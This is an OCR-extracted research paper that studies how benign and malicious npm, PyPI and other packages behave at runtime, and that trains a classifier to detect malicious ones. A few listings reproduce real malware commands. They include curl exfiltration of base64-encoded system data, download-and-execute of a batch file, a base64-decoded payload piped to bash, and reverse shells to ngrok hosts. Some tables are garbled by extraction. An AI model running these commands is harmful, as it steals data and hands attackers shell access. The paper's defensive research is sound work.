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Abstract

There have been a growing number of malicious open-source
packages in recent years. A recent backdoor attack on the Linux
xz utility has highlighted the importance of security checks on
open-source packages, especially popular ones. While major
security scanners focus on identifying vulnerabilities (CVEs) in
open-source packages, there are very few studies on malware
analysis techniques for them.

In this paper, we attempt to analyze the dynamic behavior
of open-source packages on popular package repositories,
including npm, PyPI, RubyGems, Packagist, and crates.io. We
also analyze the behavioral discrepancies between benign and
malicious packages at runtime, which aids in the development
of rules for malware detection. Our study finds that malicious
packages perform a significantly higher number of domain
communication activities and command executions. Malicious
packages employ simple techniques for malicious operations,
such as base64 encoding or curl commands. Using the proposed
machine learning models, we developed a web application to
classify malicious open-source packages. Our evaluation of
nearly 2,000 packages on npm shows that the machine learning
classifier achieves an AUC of 0.91, with a false positive rate
close to 0%.

Key Words: Dynamic malware analysis, Open-source
malicious packages, Open-source software security, Software
supply chain Security, Software supply chain attacks.

1 Introduction

In modern software development, developers frequently
rely on third-party open-source packages or libraries sourced
from language-based package repositories (e.g., PyPI for
Python). This practice enhances development velocity and saves
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developers significant time. However, alongside the benefits
of using open-source packages, there are notable security risks
associated with package repositories. For instance, attackers
may implant malicious code into the source code repository of
a popular package to compromise its users. The recent xz attack
underscores the critical need to scan open-source code before its
adoption [15].

Researchers and commercial organizations have proposed
various techniques and developed tools to detect malicious
packages. These tools can be broadly classified into two
categories: static and dynamic malware analysis tools. Static
analysis tools examine package information (e.g., source code
or metadata) without executing the package, whereas dynamic
analysis tools execute the code in an isolated environment.
While static analysis tools are fast and straightforward to
implement, they are often ineffective against anti-analysis
techniques, such as code obfuscation [34]. Moreover, static
analysis can generate numerous false positives [57]. For
example, OSSGadget, a static malware detection tool, explicitly
acknowledges this limitation on its GitHub page [33].

Dynamic malware analysis techniques, by contrast, execute
code within an isolated environment, typically a sandbox,
and observe its behaviors, such as system calls and network
connections. While dynamic analysis tools for open-source
packages show promise, they remain relatively immature [57].
For instance, package-analysis, a dynamic analysis tool
developed by OpenSSF, has been employed to detect malicious
packages [39]. However, this tool provides only raw analysis
results in JSON format, requiring substantial analytical effort to
interpret. Users must manually examine the raw outputs or craft
detection rules to determine whether a package is malicious. To
address this challenge, our work advances the field by mining
the raw outputs of package-analysis and extracting actionable
insights into the behaviors of benign and malicious packages in
popular package repositories.

When analyzing open-source packages, researchers
typically identify malicious indicators (e.g., suspicious
domains or system calls) within analysis reports, relying
on expert knowledge to determine whether a sample is
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malicious. However, false positives—where benign packages
are mistakenly flagged as malicious—remain a persistent
issue [57]. To mitigate false positives, malware detection tools
must effectively distinguish malicious behaviors from benign
ones. To the best of our knowledge, no existing study in the
literature has systematically analyzed the malicious behaviors
of open-source packages using dynamic analysis.

This paper examines the behaviors and characteristics of
benign and malicious open-source packages within popular
repositories, including crates.io, npm, Packagist, PyPI, and
RubyGems. We have curated a dataset comprising both
benign and malicious packages. Through analyzing this
dataset, we identify significant differences between benign and
malicious behaviors. Specifically, malicious packages perform
a substantially higher number of domain communications and
command executions than benign packages. Furthermore,
malicious packages often employ straightforward techniques,
such as base64 encoding for data encoding and curl commands
to exfiltrate users’ information to remote servers.

Based on these behavioral features, we propose a machine
learning-based approach to classify packages as benign or
malicious. Our methodology leverages features extracted from
dynamic analysis to improve the accuracy and reliability of
malware detection.

In summary, this paper makes the following contributions:

* A methodology for curating datasets of malicious and
benign packages.

* An in-depth investigation of a dynamic malware analysis
tool, package-analysis, for assessing open-source
packages.

* A detailed analysis of the behavioral differences between
malicious and benign open-source packages.

* A machine learning-based approach for -classifying
packages as benign or malicious, leveraging features
extracted from dynamic analysis.

2 Background

2.1 Software supply chain attacks

Software supply chain attacks occur when attackers inject
malicious code into a component within the software
supply chain [52]. End users may become infected by
downloading or updating the affected software product. Ladisa
et al.[32] present a comprehensive taxonomy of software
supply chain attacks targeting package managers and their
corresponding countermeasures. In their work, typosquatting
and combosquatting techniques emerge as the most prevalent
methods attackers use to confuse end users and trick them into
downloading malicious packages. Several detection approaches
have been proposed to address these threats [58, 50].

A prominent example of a software supply chain attack is the
SolarWinds incident, in which attackers successfully injected
malicious code into a company software update [12]. More
recently, malicious code was discovered in the upstream tarballs
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of xz, beginning with version 5.6.0. These tarballs included
additional .m4 files containing automake build instructions
absent from the repository. These instructions, via a series of
complex obfuscations, extract a prebuilt object file from one of
the test archives. This object file is then used to modify specific
functions in the code during the construction of the liblzma
package. As a result, liblzma is employed by other software,
such as sshd, to provide functionality that is subsequently
interpreted by the altered functions [19].

Vu et al. [55] investigate malware attacks similar to the
xz incident on Linux distributions. Their findings reveal that
Wolfi OS is the only Linux distribution actively performing
malware scanning. Furthermore, the study highlights that
the performance of existing open-source malware scanners is
suboptimal.

2.2 Static Malware Analysis Tools

Static malware analysis techniques identify malicious
patterns within the source code or metadata of a package.
While these techniques are lightweight and efficient, they are
incapable of detecting malicious code that executes only at
runtime. Additionally, static analyzers are vulnerable to anti-
analysis techniques, such as code obfuscation. Several existing
static malware scanners include the following:

* OSS Detect Backdoor[33]: An open-source tool developed
by Microsoft. It offers a suite of utilities for investigating
various aspects of an open-source package.

* Bandit4Mal[54]: A tool developed by researchers at the
University of Trento and SAP Security Research. It scans
Python packages for malicious traits using Abstract Syntax
Tree (AST) analysis combined with hand-written malware
detection rules [56].

* PyPI Malware Checks[42]: A tool employed by PyPI to
examine each uploaded package for suspicious code lines.
The tool relies on a set of regular expression-based rules.

* Capslock[24]: A capability analysis command-line
interface (CLI) tool for Go packages that identifies
privileged operations accessible to a given package.
Currently, Capslock is limited to Go packages.

These tools typically parse a package’s code into ASTSs
and apply rule-based methods to detect malicious patterns.
However, a study by Vu et al. [57] evaluates various
static malware detection tools for open-source packages and
highlights their high false-positive rates. The study recommends
incorporating dynamic analysis techniques, such as executing
code in a sandbox for more accurate malware detection.

2.3 Dynamic Malware Analysis Tools

Dynamic analysis tools operate by executing the source code
of a package within an isolated environment. During execution,
these tools record detailed traces of the package’s behavior,
such as running processes, executed commands, communicated
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IPs/domains, and accessed files. Although dynamic analysis
tools provide a more precise understanding of package behavior,
they are often time-consuming and require the configuration
of appropriate environments. The following are examples of
dynamic analysis tools:

e MalOSS[21]: A tool that leverages Sysdig[48] as a
tracing mechanism to capture system call traces, including
interactions with IPs, DNS queries, files, and processes.

 package-analysis[38]: An open-source dynamic analysis
tool developed by Google in 2022. This tool monitors
command executions, file operations, and network
activities within a sandbox environment powered by
Gvisor (discussed later in this paper).

 package-hunter[23]: A tool designed to analyze program
dependencies for malicious code. It installs dependencies
in a sandboxed environment and tracks system calls made
during the installation process [13].

* Packj [40]: A versatile tool that supports both dynamic and
static analysis. Developed by the Ossillate Inc. security
research team, Packj facilitates package analysis across
multiple package registries, including npm, Packagist,
RubyGems, NuGet, Maven, and Cargo. The tool is tailored
to mitigate software supply chain attacks and shares several
similarities with package-analysis.

In this paper, we employ package-analysis as our primary
analysis tool due to its open-source nature and comprehensive
functionality. This tool evaluates the capabilities of packages
hosted on open-source repositories, focusing on behaviors
indicative of malicious activity: 1) What files do they access?,
2) What addresses do they connect to?, and 3) What commands
do they execute?[38]. By leveraging the Gvisor sandbox[27],
package-analysis captures malicious interactions with the
system, including network connections that could be used to
exfiltrate sensitive data or enable remote access. Furthermore,
the raw outputs of package-analysis are made publicly available
on Google BigQuery [3], allowing for an in-depth examination
of the behavioral differences between benign and malicious
packages.

3 Package Analysis and Sandboxing

In this section, we provide a clear explanation of the
analysis process performed by the package-analysis tool. We
outline each step, beginning with the moment the tool receives
input parameters, followed by the initialization of the sandbox
environment, the execution of the analysis, and finally, the
generation of the raw results. The analysis process is divided
into three phases:

 Install: This phase involves setting up the necessary
packages and dependencies.

e Import: Here, the tool loads the required modules and
libraries that are essential for the analysis.
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e Execution: In this final phase, package analysis uses
recursion to execute all functions and code in the open-
source package.

3.1 Package Analysis

To analyze open-source packages, the package-analysis tool
first sets up a sandbox environment, which is detailed in
Section 3.2. Users must provide the names, versions, and
corresponding repositories of the packages for analysis.

Next, depending on the open-source package repository and
its corresponding programming language, the package-analysis
tool employs specific analysis scripts to examine these open-
source packages.

During the installation phase, the package-analysis tool
installs the open-source packages using package managers such
as pip for Python, npm for JavaScript, gem for Ruby, and cargo
for Rust.

During the import phase, the package-analysis tool
automatically loads the previously installed packages.
Specifically, for PyPI packages, package-analysis uses the
importlib module to handle imports. For npm packages,
package-analysis utilizes the require module.

During the execution phase, package-analysis employs
recursive techniques to execute all functions within the open-
source package.

All analytical processes during these stages are logged by
the package-analysis tool. The logged information includes
IP addresses and domain names that the package connects
to, commands executed, and files accessed. These logs are
organized into three stages and output as JSON files.

In addition to dynamic analysis, package-analysis also
performs static analysis. The tool utilizes three static analysis
methods:

* Basic: Analyzes basic information such as file sizes, file
types, and the hash values (using SHA-256) of each file.
 Parsing: Extracts information from the source code of the
software package. Currently, this feature only supports the
JavaScript language. For instance, the package-analysis
tool calculates entropy metrics for code segments within
the package. A higher entropy score [29] indicates a
greater likelihood of code obfuscation.

* Signals: Uses rules to extract information from the source
code. For example, package-analysis detects obfuscated or
encrypted code within the source of open-source packages.

3.2 Sandboxing

A sandbox is an isolated environment used to dynamically
execute suspicious code. This approach allows untrusted
programs to run in a secure environment without impacting real
systems [45]. In this section, we examine the architecture and
limitations of Gvisor, the sandbox that serves as the foundation
for package-analysis.



296

" ‘
E | Container | | Container Container ! i
I for for for o
| ! dynamic dynam.ic dynamic o
! ! analysis analysis analysis ! |
| I
:l - ik o
! ! Container | | Container Cnntam.er podman o
! ! for static for static for stat.lc o
! ! analysis analysis analysis .
o i
! \ Jubuntu ~GO gcrAio/ossf-malwarc-analysis/static-analysis/,/ '
| I
' I

T N & ,

\ _ger.io/ossf-malware-analysis/analysis docker

Figure 1: Package Analysis Sandbox Architecture.

Figure 1 illustrates the overall architecture of package-
analysis. ~ This architecture employs a nested container
setup, where the sandbox operates a container within another
container. This design ensures a safe and isolated environment
for executing suspicious code. Specifically, the outer
container uses a Docker image called gcrio/ossf-malware-
analysis/analysis to instantiate the inner container. Gvisor
supports multiple architectures, including x86, ARM, and
Virtual Machines (VMs). It functions by intercepting all system
calls made by sandboxed applications to the Linux kernel.

Despite its advantages, Gvisor has several limitations:

e User-space execution: Gvisor operates in user space,
which means it has a lower execution priority compared
to the kernel.

* Limited system call support: Gvisor does not provide
comprehensive support for all system calls. It currently
supports only the 211 most common system calls.
Unsupported system calls are not processed and result in
raised exceptions.

» Restricted hardware interaction: Applications running
within Gvisor are unable to interact directly with the
hardware of the host machine. This is due to a protected
layer implemented by Gvisor, which prevents any direct
interaction between applications and the host system [51].

4 Data Collection

This section presents our data collection and analysis
workflow. In particular, we present two datasets: malicious
packages and benign packages.

4.1 Malicious Packages Collection

Figure 2 shows our data collection workflow. We collected
malicious open-source packages from the following sources:

e Vulert [7]: this service provides security information
(such as CVE IDs) about open-source packages in popular
package repositories such as npm, PyPI, RubyGems,
crates.io.
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Figure 2: Our data collection and analysis workflow.

#Packages #Versions
crates.io 1 10
npm 1041 2293
PyPI 113 216
RubyGems 16 27
Total 1171 2546

Table 1: Statistics of collected malicious open-source packages.

e Vulners [1]: Vulners maintains a database of software
vulnerabilities. Vulner also provides Application
Programming Interfaces (APIs) to search for specific
software vulnerabilities.

e OSV [6] monitors open-source packages for
vulnerabilities. Like Vulners, this service provides
APIs to query security information about open-source
packages, including the identification of malicious
packages.

After obtaining malicious package names and their
descriptions (e.g., behavior descriptions), we query the analysis
results of the malicious packages on Google BigQuery’s ossf-
package-analysis [3]. Next, we extract the executed commands,
IP addresses, and domains for each package analysis report for
further analysis (as shown in Section 5).

Table 1 presents a summary of the statistics for the malicious
packages in our dataset. On average, each package includes two
versions. Notably, npm constitutes the majority of packages and
versions in the dataset, accounting for approximately 90% of the
total. In contrast, crates.io has the smallest number of packages
and versions. This finding suggests that npm is currently the
most attractive target for attackers aiming to inject malicious
code. Consequently, researchers should prioritize scrutinizing
this repository to improve its security and ensure safer usage.

4.2 Benign Packages Collection

Following Zahan et al.[60] and Vu et al.[57], we collected
the 1000 most downloaded open-source packages on npm to
represent benign packages. We selected npm packages because
they are the most prevalent in the malicious packages dataset.
Ultimately, we constructed a balanced dataset with an equitable
number of packages.

We then queried Google BigQuery [3] to retrieve the raw
analysis for these benign packages. The raw results for the
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benign packages are analyzed and compared with those for the
malicious packages in the next section.

5 Findings

5.1 Performance of package-analysis on open-source
packages

In this section, we examine the dataset published by OSSF
on Google BigQuery, titled ossf-malware-analysis[3]. This
dataset includes the live analysis results from package-analysis,
applied to open-source packages from the crates.io, npm, PyPI,
Packagist, and RubyGems repositories. Table2 summarizes the
performance of package-analysis in analyzing packages from
these repositories.

Notably, package-analysis achieves the highest coverage for
crates.io, analyzing 87.2% of its packages, while Packagist
exhibits the lowest coverage at 16.37%. Interestingly, despite
npm having the largest number of packages, only approximately
28% of its packages have been analyzed by package-analysis.
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Figure 3: Analysis completion rate of package-analysis at the
import phase and install phase.

packages from npm exhibit both domain communication and
command execution behaviors.

. #Analyzed Ratio of Communicates with a domain

Repository  Language #Packages Kk . Anal K . Communicates with a Executes one or more associated with malicious activity
Packages nalyzed Packages domain associated with  commands associated with and executes one or more

crates.io Rust 144,047 125,640 87.22% malicious activity malicious behavior commands associated with malicious
npm Javascript 4,530,434 1,264,900 27.92% e 5 ‘(;h
Packagist  PHP 390,042 63,987 16.37% o614 T06 i
PyPI Python 535,457 287,299 53.65% PyPI 86 5 22
RubyGems Ruby 197,071 31,803 16.14% RubyGems 16 0 0

Table 2: Statistics of open-source packages on
Analysis’s BigQuery.

Package

Figure 3 shows the completion rates of importing and
installing packages in different repositories. We observed that
on average, package-analysis has success rates of 62.75% and
95.81% when installing and importing a package, respectively.
Packages in npm and crates.io have the highest success rate
when being installed and imported, respectively. However,
crates.io has the lowest success rate when being installed by
package-analysis. This indicates that installing a Rust package
in crates.io is still a challenging problem.

5.2 Analysis of malicious and benign packages

In this section, we present our findings on the behaviors
exhibited by benign and malicious packages in our collected
dataset. Table 3 summarizes the behaviors of malicious
packages across crates.io, npm, PyPI, and RubyGems. It is
important to note that we did not find records for malicious
packages from Packagist in our data sources, as described in
Subsection 4.1.

The data in Table 3 reveal that at least one malicious
package from each repository communicates with a domain
linked to malicious activity. Furthermore, malicious packages
in npm and PyPI execute one or more commands indicative
of malicious behavior. Notably, one-third of the malicious

Table 3: Frequency statistics of suspicious behaviors in benign
and malicious datasets.

Malicious packages are capable of communicating with
malicious domains to download additional malware, commonly
referred to as droppers. Several reports have identified npm
and PyPI packages that install Linux cryptominers, information
stealers, or Windows Trojans [43, 53, 44]. Such packages can
retrieve a script from a command-and-control (C&C) server and
execute it on the victim’s system.

5.2.1 Commands Analysis

Malicious packages frequently execute system commands
on victim systems. For instance, they may use the base64
command to encode user information before transmitting it to
a remote server. Table 4 presents the occurrences of commands,
IP addresses, and URLSs in the benign, malicious, and combined
datasets. Our analysis reveals that malicious packages execute
twice as many commands as benign packages. However,

Dataset #Commands  #Unique #URLs #Unique #IP Addresses ~ #Unique P
C d URLs Addresses

Malicious 2845356 533 68677299 934 74584 405 682

Benign 1310054 818 5024881 7 5007 963 134

Total 4155410 2760 73702180 941 79592368 816

Table 4: Frequency Statistics of Malicious Indicators in Benign
and Malicious Datasets.
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malicious packages often repeat the same commands multiple
times, suggesting that malicious actors may reuse code.

Table 5 lists the top ten commands executed by malicious
packages in our dataset. Most of these commands are
associated with information-gathering activities. =~ Notably,
malicious packages employ straightforward techniques for
malicious operations, such as using base64 for data encoding.
Compared to traditional malware targeting Windows or Linux
systems, malicious packages found in package repositories are
generally simpler, with some distributed as Proof-of-Concepts
(POCs). Nevertheless, it is anticipated that the quantity and
sophistication of malicious packages will continue to increase
over time.

Command #0Occurences  Description Malicious behavior

Is 87,706 Lists computer files and directories Information gathering
bash 87,656 Starts a new bash shell Command execution
cat 87,500 Views the contents of a file Information gathering

dpkg-query 82,758
Isb_release -a 82,758

Shows information about dpkg packages.
Gets distribution-specific information.

Information gathering
Information gathering

base64 78,146 Encodes and Decodes data Data hiding
/usr/bin/curl 77,026 Tranfers data using various network protocols.  Data infiltration
which 68,900 Identifies the location of executables Information gathering
which bash 68,652 Identifies the location of the bash executable Information gathering
tr 64,524 Translates or Deletes characters Data hiding

Table 5: Top ten commands executed by the malicious packages
in our dataset.

Compared to the top commands in malicious packages, Is
is the most commonly executed command in benign packages.
grep is the second most common command in benign packages,
primarily used to search for and manipulate text patterns in
files. Like malicious packages, benign packages also execute
commands like uname to obtain system information, including
the operating system name. However, benign packages rarely
execute shell-related commands, such as bash. The bash
command initiates a new shell within the original shell, enabling
attackers to execute additional commands or shellcodes.

5.2.2 Classification of Malicious Command Behaviors in
Malware Packages

Malicious packages frequently use combinations of malicious
commands to perform harmful actions, such as stealing sensitive
information, downloading malicious code or shell scripts, and
executing them on victim machines. To better understand
these commands and the techniques they employ to evade static
analysis tools, our team conducted a manual analysis of the
commands used by these malware packages.

Through our analysis, we identified several malicious
command behaviors, including data encryption, reverse shell
creation, and the downloading and execution of harmful code on
victim machines. Below, we classify the malicious commands
observed in the malware packages within our dataset.

e Performing Data Encryption and Exfiltration:
Malicious packages often employ basic encoding
techniques like base64 before transmitting data externally.
The “topcoderhomepage_3.0-1.0.2” package demonstrates
this technique, as shown in Listing 1.
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i curl -H "Hostname: $(hostname | base64)"
-H "uname: $(uname -a | base64)"
-H "Pwd: $(pwd | base64)"
-d $(1s -la | base64)
http://tnk9...7fd61lwpl.oastify.com

Listing 1: encoding data in topcoderhomepage_3.0-1.0.2

* Downloading and executing malicious scripts from
external sources: Malicious packages download a
malicious script from servers controlled by attackers and
then execute it on the victim’s machine. The malware
package that uses this technique is “biscits-1.0.1,” as
shown in Listing 2.

I curl -s -o %temp/strings.bat
https://cdn.discordapp.com/
attachments/11..55/strings.bat

4 && start /min cmd /c Ytemplstrings.

bat

Listing 2: Downloading and executing malicious scripts in
biscits-1.0.1

* Decoding obfuscated program commands: The
malicious software package obfuscates its malicious
commands, for example using base64, and then, once
installed on the victim’s machine, these encoded
commands are decoded and executed. This type of
technique is demonstrated in Listing 3 from the “biscits-
1.0.11” package.

1 echo "cmOgL3RtcCOm021rZmlm. ..
AxMC4yMC4zMC4yMjggNDQOMyA+L3RtcCOmCg
==" | base64 -d | bash

Listing 3: Decoding the encrypted command segment and then
executing it in calandraca-11.10.10

¢ Performing Reverse Shell: To control victim machines
and receive direct commands from attackers, malicious
packages execute reverse shell commands to domains
controlled by the attackers. Examples of such packages
include “pmd-github-action-9.9.9” and “watchman-search-
ui-1.0.0” as shown in Listing 4 and Listing 5.

i bash -i >& /dev/tcp/0.tcp.in.ngrok.io
/18121 0>&1

Listing 4: Reverse shell in pmd-github-action-9.9.9

1 export RHOST="O.tcp.in.ngrok.io"
export RPORT=14688
python -c ’import socket, os, pty
4+ s = socket.socket() s.connect((os.getenv
("RHOST"), int(os.getenv ("RPORT"))))
s [os.dup2(s.fileno (), fd) for fd in (0, 1,
2)] pty.spawn("/bin/sh")’

Listing 5: Reverse shell in watchman-search-ui-1.0.0
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OAST Domain  #Flagged AVs Labels assigned by AVs D . - - Label
oast.fun 11 Malicious, Suspicious, Phishing omain Name Number of Flagged agged Labels
oast.me 11 Malicious, Malware, Phishing Security Vendors
oast.live 10 Malicious, Malware, Phishing C . . .
oast.pro 10 Malicious, Malware, Phishing, Suspicious 000webhostapp.com 3 phlShmg’ malicious
oast.site 10 Malicious, Malware, Phishing, Suspicious 51pwn.com 1 malware
oast.online 7 Not Recommended, Malicious, Phishing, Suspicious burpcollaborator.net 1 malicious
oastify.com 2 Malicious canarytokens.com 3 malicious
o . . discord.com 1 suspicious
Table 6: Out-o.f-ban.d. Apphcatlc.)n. Security Testhg (OAST) discord.gg 1 phishing
domains utilized by malicious packages during probing dnslog.cn 6 malicious, malware
attempts for Common Vulnerabilities and Exposures dnslog.pw 13 malicious,  malware,
(CVEs). suspicious
eyes.sh 2 malicious, malware
ezstat.ru 10 suspicious,  phishing,
malicious
icanhazip.com 2 suspicious, malicious
interact.sh 8 malicious,  phishing,
5.2.3 Domains and IP Addresses Analysis malware, suspicious
ip-api.com 1 suspicious
ipify.org 1 malicious
ipinfo.io 2 malicious, suspicious
o . ) ) linglink.lu 8 suspicious, malicious,
Malicious packages typically communicate with external malware, phishing
servers, commonly referred to as Command and Control (C&C) ngrok-free.app 2 malware, suspicious
servers, to receive instructions or exfiltrate stolen data. This ngrok.io 1 malware
section analyzes the domains contacted by malicious packages oast.fun 11 malware,  suspicious,
for communication purposes. Figure 5 illustrates that the phishing
majority of these domains are flagged by at least one security ~ ©oastlive 10 malware, phishing
vendor. Notably, 50 domains are flagged by two or more OaSt'mfi. 171 :?alware, pglshmflg
security vendors in VirusTotal. A higher number of flags raised oast.online 1scouraged, matware,
. . .. suspicious, phishing
by security vendors for a domain increases confidence in its —
lassificati lici oast.pro 10 malware, suspicious,
classification as malicious. phishing
oast.site 10 malware, phishing,
Table 4 reveals that malicious packages communicate ) suspicious
with significantly more domains (URLs) than benign  °astify.com 2 TS
. . . pastebin.com 1 suspicious
packages—nearly 14 times as many. Moreover, malicious . .
. . pipedream.net 1 phishing
packages contact a substantially greater variety of ply.gg 3 malware
domalns—appro.xnna}tely 133 times more than b'er'ngn requestrepo.com 10 suspicious, malware
packages.  This discrepancy may suggest that malicious shkOx.net 3 malware
actors originate from diverse groups or frequently change their skybornsaga.com 14 phishing, malware,
C&C servers to evade detection. suspicious
vercel.app 1 suspicious
webhook.site 3 malware, suspicious

Interestingly, malicious packages appear to employ Out-
of-band Application Security Testing (OAST) tools when
probing for Common Vulnerabilities and Exposures (CVEs).
We identified several OAST domains involved in these
probing attempts. Attackers likely scanned victims to
identify vulnerable targets, leveraging these domains to exploit
vulnerabilities and deploy cryptominers on compromised
hosts [35]. Table 6 lists the OAST domains associated with
malicious packages in our dataset, all flagged by at least two
security vendors in VirusTotal. Most domains were categorized
as malicious, malware, or phishing by the security vendors.

Table 7 shows the most domains that are frequently connected
to malicious packages and flagged by domain scanning tools on
VirusTotal.

Table 7: Statistics of malicious domains most frequently
connected to by malicious packages and flagged by
domain scanning tools on VirusTotal.

Table 8 lists the top ten domains contacted during the
installation phase. Among the most frequently connected
domains are pypi.org, the official package registry for the
Python programming language, and rubygems.org, the registry
for RubyGems. Both are legitimate domains, and verification
with VirusTotal confirmed that none of the top ten domains
listed in Table 8 are malicious.

However, our team identified two potentially malicious
domains—eommih12qnal82o0.m.pipedream.net and http:
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appsignal-agent-releases.s3-eu-west-1.amazonaws.com

appsignal-agent-releases.global.ssl.fastly.net
agent-binaries.cloud.solarwinds.com

objects.githubusercontent.com
github.com

RubyGems
index.rubygems.org
rubygems.org
raw.githubusercontent.com
repo.maven.apache.org
s3.amazonaws.com

googlechromelabs.github.io
storage.googleapis.com
objects.githubusercontent.com
pypi.python.org
registry.npmjs.org

raw.githubusercontent.com
github.com

files.pythonhosted.org
download.joulescope.com

PyPI
pypi.org

codeload.github.com
api.github.com
bitbucket.org

gitlab.com
downloads.wordpress.org

repo.packagist.org
gitee.com

git.drupalcode.org
gitlab.wpdesk.dev

Packagist

objects.githubusercontent.com packagist.org

storage.googleapis.com

github.com
raw.githubusercontent.com

registry.npmjs.org
nodejs.org
opencollective.com
binaries.prisma.sh
codeload.github.com
edgedl.me.gvtl.com

npm

objects.githubusercontent.com
storage.googleapis.com

pypi.org
files.pythonhosted.org
download.pytorch.org

static.crates.io
index.crates.io
github.com
api.github.com

crates.io
crates.io

Top
1

2

3

4

5

6

8

9

10

Table 8: The ten domains most connected to by open-source
packages at the install phase.
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/leoaptq5t02z6dxu.m.pipedream.net—within the same dataset.
Verification via VirusTotal revealed that eommih12qgnal82o.
m.pipedream.net was flagged as phishing by Emsisoft and
malicious by Netcraft.

Notably, the domain http://discord.com was queried 30 times
during package installation, ranking fifth in frequency within
Table 8.

In Table 9, which highlights the top ten domains accessed
during the import phase, we observed that crates.io packages
did not connect to any domains. However, the previously
flagged domains eommih12qnal820.m.pipedream.net and
eoaptq5t02z6dxu.m.pipedream.net also appeared during
this phase. VirusTotal further corroborated these findings,
identifying eommih12qnal82o0.m.pipedream.net as phishing
(flagged by Emsisoft) and malicious (flagged by Netcraft), while
eoaptq5t02z6dxu.m.pipedream.net was flagged as phishing by
Yandex Safe Browsing.

Beyond domain names, IP addresses are another critical
indicator of network activity. IP addresses in malicious
packages often point to command and control servers, while
those in benign packages typically refer to legitimate database
servers or other services. Table 4 indicates that malicious
packages contain nearly 15 times more IP addresses than benign
packages. Among the 37,423 IP addresses identified, 15,927
(42.56%) were flagged as malicious by at least one security
vendor in VirusTotal. Figure 4 shows that most IP addresses in
benign packages are located in the United States, with Germany
ranking second. This pattern suggests that malicious packages
may target users in Europe.

Table 10 presents the top ten IP addresses most frequently
accessed by open-source packages from various repositories
during the import phase. The table highlights frequent
connections to loopback addresses (::1, 127.0.0.1), as well as
to Google’s DNS server at IP address 8.8.8.8.

Table 11 shows that among the top ten IP addresses accessed
during the installation of open-source packages from the PyPI
repository, IP addresses 151.101.64.223, 151.101.0.223, and
185.199.108.133 are suspected to be malicious. A whois query
indicates that these IP addresses are owned by Fastly, a cloud
computing service provider. Verification through VirusTotal
reveals that these IPs are flagged as malicious by the community.
Specifically, two IP addresses are identified as malicious by
Xcitium Verdict Cloud and suspicious by Gridinsoft, while the
third is flagged as malicious by both CyRadar and Xcitium
Verdict Cloud.

Next, we scanned all 37,423 unique IP addresses using
VirusTotal. Figure 6 illustrates the number of security vendors
on VirusTotal that flagged these IP addresses, which were
accessed by open-source packages. Of the scanned IPs, 1,417
(approximately 3.89%) were flagged by at least two security
vendors. In general, the greater the number of vendors flagging
an [P address, the higher the confidence that it is associated with
malicious activity.
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Figure 4: Geographic locations of IP Addresses found in open-source packages.
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6 Applying Machine Learning Techniques to classify
benign and malicious packages

In this section, we utilize machine learning techniques to
classify packages as benign or malicious. Figure 7 illustrates

Raw analysis

Benign and
Malicious packages

Feature
Engineering

Feature vectors

Model training

Trained Model

Model evaluation

Figure 7: Machine learning pipeline

Feature vectors

our machine learning pipeline. Following the collection of
benign and malicious packages (described in Section 4), we
preprocess the raw analysis files and extract relevant features.
These preprocessed files are input into a feature extractor
component, which generates a feature vector for each package.
The resulting feature vectors are then used to train machine
learning algorithms.

For simplicity, we conducted our experiment using Google
Colab, a hosted Jupyter Notebook service that requires no setup
and offers free access to computing resources, including GPUs
and TPUs [25]. The Google Colab notebook for this experiment
is publicly available at [4].

6.1 Data Preprocessing

The number of packages in our dataset for machine learning is
summarized in Table 12. Since the raw package analysis results
are stored in a database of tables, we first convert them into a
CSV format, which is more user-friendly for machine learning
algorithms. Subsequently, we clean the CSV files by removing
unnecessary fields, duplicates, and rows with missing data.
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Table 9: The ten domains most connected to by open-source
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registry.npmjs.com
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dream.net

eoaptq5t02z6dxu.m.pipedream.net

api.digitalocean.com

github.com
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files.pythonhosted.org eommi
scinary.com
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packages at the import phase.
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Top crates.io npm Packagist PyPI RubyGems
1 8.8.8.8 8.8.8.8 1 127.0.0.1
2 127.0.0.1 1 192.168.0.10 1
3 10.68.0.10 127.0.0.1 8.8.8.8 8.8.8.8
4 54.208.186.182 185.199.108.133 37.19.207.34 ::ffff:700:1
5 54.224.34.30 185.199.110.133 23.203.40.249 3.248.33.252
6 34.201.81.34 185.199.111.133 23.56.220.29 54.77.139.23
7 54.243.129.215 185.199.109.133 127.0.0.1 146.107.217.142
8 1 142.44.245.229 151.101.0.223 2606:4700::6810:b60f
9 216.24.57.3 2606:50c0:8003::154  151.101.64.223 2606:4700::6810:b50f
10 216.24.57.253 2606:50c0:8002::154  151.101.192.223 169.254.169.254

Table 10: Top ten most connected IP addresses during the
import phase
The highlighted cells represent IP addresses labeled as malicious or suspicious

by at least one security vendor on VirusTotal.

Top crates.io npm Packagist PyPI RubyGems

1 8.8.8.8 104.16.18.35 167.114.128.168 gl 151.101.1.227

2 2a04:4e42:600::649  104.16.16.35 8.8.8.8 151.101.128.223 151.101.65.227

3 2a04:4e42::649 104.16.22.35  2607:5300:201:3100::¢ 2a04:4e42::223 151.101.193.227

4 2a04:4e42:400::649  104.16.24.35  142.44.164.249 2a04:4e42:200::223 151.101.129.227

5 2a04:4e42:200::649  104.16.23.35  142.44.164.255 151.101.64.223 2a04:4e42:200::483
6 151.101.66.137 104.16.26.35  2607:5300:201:2100::7:2204:4e42:600::223 2a04:4e42:600::483
7 151.101.194.137 104.16.20.35  2607:5300:201:2100::7 151.101.192.223 2a04:4e42:400::483
8 151.101.2.137 104.16.27.35  140.82.112.9 2a04:4e42:400::223 2a04:4e42::483

9 151.101.130.137 104.16.17.35  140.82.114.10 151.101.0.223 8.8.8.8

10 99.84.160.86 104.16.25.35  140.82.112.10 8.8.8.8 10.68.0.10

Table 11: Top ten IP addresses most frequently connected to by
open-source packages during installation.
The highlighted cells represent IP addresses labeled as malicious or suspicious
by at least one security vendor on VirusTotal.

Set Ecosystem #Packages
Malicious set npm 1170
Benign set npm 1000
Dataset npm 2170

Table 12: Number of packages in our dataset for machine
learning

6.2 Feature Selection

Based on the analysis in the previous section, we select the
following features:

¢ Number of executed commands: We count the number of
commands executed by each package. The data type of this
feature is an integer.

* Number of domains:
communicated by each package.
feature is an integer.

e Number of IP addresses: We count the number of IP
addresses contacted by each package. The data type of this
feature is an integer.

We count the number of domains
The data type of this

6.3 Training

In this experiment, we use the machine learning algorithms
available in the sklearn framework [41]. We employ ten-
fold cross-validation for training and evaluating the machine
learning models. To assess performance, we utilize the standard
metrics presented in Table 13.
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Metric Description Explanation

Accuracy A metric that measures how often | Higher accuracy means better
a machine learning model correctly | performance
predicts the outcome

False Negative Rate (FNR) | The proportion of positives which | Lower =~ FNR  means  better
yield negative test outcomes with | performance
the test

